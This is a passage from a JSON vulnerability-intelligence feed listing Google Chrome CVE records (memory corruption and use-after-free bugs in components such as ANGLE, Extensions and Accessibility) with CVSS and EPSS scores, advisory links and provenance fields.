score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113275&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113275, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113274","cveId":"CVE-2026-113274","aliases":[],"kind":"vulnerability","title":"Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in ReadingMode in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.220Z","updatedAt":"2026-10-21T17:08:20.050Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113274","asOf":"2026-10-21T17:08:20.050Z"},"epss":{"probability":0.00434,"percentile":0.37448,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113274&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113274","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113274","type":"primary","publishedAt":"2026-10-20T22:19:21.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113274&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113274, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113273","cveId":"CVE-2026-113273","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.113Z","updatedAt":"2026-10-21T17:08:23.640Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113273","asOf":"2026-10-21T17:08:23.640Z"},"epss":{"probability":0.00425,"percentile":0.36538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113273","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113273","type":"primary","publishedAt":"2026-10-20T22:19:21.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113272","cveId":"CVE-2026-113272","aliases":[],"kind":"vulnerability","title":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:21.003Z","updatedAt":"2026-10-21T17:08:27.390Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113272","asOf":"2026-10-21T17:08:27.390Z"},"epss":{"probability":0.00425,"percentile":0.36538,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113272&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113272","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113272","type":"primary","publishedAt":"2026-10-20T22:19:21.003Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113272&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113272, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113271","cveId":"CVE-2026-113271","aliases":[],"kind":"vulnerability","title":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","detail":"Use after free in Accessibility in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Critical)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.893Z","updatedAt":"2026-10-21T17:08:42.093Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113271","asOf":"2026-10-21T17:08:42.093Z"},"epss":{"probability":0.00456,"percentile":0.39345,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113271&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113271","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113271","type":"primary","publishedAt":"2026-10-20T22:19:20.893Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113271&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113271, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113269","cveId":"CVE-2026-113269","aliases":[],"kind":"vulnerability","title":"Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in BrowserTag in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.667Z","updatedAt":"2026-10-21T17:08:49.580Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113269","asOf":"2026-10-21T17:08:49.580Z"},"epss":{"probability":0.00538,"percentile":0.4504,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113269&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113269","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113269","type":"primary","publishedAt":"2026-10-20T22:19:20.667Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113269&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113269, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113268","cveId":"CVE-2026-113268","aliases":[],"kind":"vulnerability","title":"Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Navigation in Google Chrome on on iOS prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.553Z","updatedAt":"2026-10-22T12:05:51.103Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113268","asOf":"2026-10-22T12:05:51.103Z"},"epss":{"probability":0.00434,"percentile":0.37447,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113268&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113268","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113268","type":"primary","publishedAt":"2026-10-20T22:19:20.553Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113268&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113268, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113267","cveId":"CVE-2026-113267","aliases":[],"kind":"vulnerability","title":"Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Video in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.447Z","updatedAt":"2026-10-21T17:08:54.000Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113267","asOf":"2026-10-21T17:08:54.000Z"},"epss":{"probability":0.00425,"percentile":0.36537,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113267&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113267","type":"primary","publishedAt":"2026-10-20T22:19:20.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113267&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113267, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113266","cveId":"CVE-2026-113266","aliases":[],"kind":"vulnerability","title":"Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in ANGLE in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.337Z","updatedAt":"2026-10-22T12:06:04.987Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113266","asOf":"2026-10-22T12:06:04.987Z"},"epss":{"probability":0.00401,"percentile":0.34041,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113266&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113266","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113266","type":"primary","publishedAt":"2026-10-20T22:19:20.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113266&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113266, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113265","cveId":"CVE-2026-113265","aliases":[],"kind":"vulnerability","title":"Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in BFCache in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.227Z","updatedAt":"2026-10-21T17:09:03.630Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113265","asOf":"2026-10-21T17:09:03.630Z"},"epss":{"probability":0.00425,"percentile":0.36533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113265&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113265","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113265","type":"primary","publishedAt":"2026-10-20T22:19:20.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113265&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113265, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113264","cveId":"CVE-2026-113264","aliases":[],"kind":"vulnerability","title":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:20.110Z","updatedAt":"2026-10-21T17:09:14.360Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113264","asOf":"2026-10-21T17:09:14.360Z"},"epss":{"probability":0.00425,"percentile":0.36535,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113264&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113264","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113264","type":"primary","publishedAt":"2026-10-20T22:19:20.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113264&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113264, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113262","cveId":"CVE-2026-113262","aliases":[],"kind":"vulnerability","title":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:19.897Z","updatedAt":"2026-10-21T17:09:19.930Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google 